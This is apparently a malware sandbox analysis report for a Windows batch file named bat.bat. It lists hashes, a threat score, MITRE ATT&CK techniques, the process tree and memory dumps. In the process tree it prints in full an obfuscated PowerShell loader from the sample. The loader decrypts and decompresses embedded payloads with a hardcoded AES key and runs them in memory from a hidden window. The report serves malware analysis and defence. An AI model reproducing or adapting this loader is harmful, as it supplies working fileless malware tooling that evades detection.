3e27d2aee2a3f3a1f28e27100ed8b966ee82a85ec94d8d715f390d824e20abba

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
02/08/2024, 14:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bat.bat
Size

5.8MB
MD5

f3281ed9a501fd2ff062664456bd3016
SHA1

4e41be0fe4bf26907eaa738fffaabf10651c15b5
SHA256

3e27d2aee2a3f3a1f28e27100ed8b966ee82a85ec94d8d715f390d824e20abba
SHA512

cbd41cc54655e2fc7159d4cf50c6b0424b7caf927016735bf1e84b1b69ff58cf12abcee724af99f2c0aba7e176393477c16cf183d99c48163d9b85f8e7aaf1b4
SSDEEP

98304:BAqV8T0g2Vnxg8T2D0aBBbhP9HbTEU28tf:4TNBBbhPdT/f

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2372	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2372	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2372	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2560 wrote to memory of 1736	2560	cmd.exe	32
PID 2560 wrote to memory of 1736	2560	cmd.exe	32
PID 2560 wrote to memory of 1736	2560	cmd.exe	32
PID 2560 wrote to memory of 2372	2560	cmd.exe	33
PID 2560 wrote to memory of 2372	2560	cmd.exe	33
PID 2560 wrote to memory of 2372	2560	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\bat.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2560
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dyVGy+AK/alUx4C1KZGPyURnZpXePTKfrvzd88J4h2c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EtptwhXr1MaRHHI/4/0emw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JxCCm=New-Object System.IO.MemoryStream(,$param_var); $fscLF=New-Object System.IO.MemoryStream; $beNoU=New-Object System.IO.Compression.GZipStream($JxCCm, [IO.Compression.CompressionMode]::Decompress); $beNoU.CopyTo($fscLF); $beNoU.Dispose(); $JxCCm.Dispose(); $fscLF.Dispose(); $fscLF.ToArray();}function execute_function($param_var,$param2_var){ $eJqYy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wnjdB=$eJqYy.EntryPoint; $wnjdB.Invoke($null, $param2_var);}$pMUKG = 'C:\Users\Admin\AppData\Local\Temp\bat.bat';$host.UI.RawUI.WindowTitle = $pMUKG;$hJjhE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMUKG).Split([Environment]::NewLine);foreach ($cavJU in $hJjhE) { if ($cavJU.StartsWith('cypLHeqrkKMWSgQqffJU')) { $ycQqn=$cavJU.Substring(20); break; }}$payloads_var=[string[]]$ycQqn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2372

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2372-4-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

Filesize
4KB

Download
memory/2372-5-0x000000001D700000-0x000000001D9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2372-6-0x0000000003620000-0x0000000003628000-memory.dmp

Filesize
32KB

Download
memory/2372-7-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2372-8-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2372-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download
memory/2372-10-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

Filesize
9.6MB

Download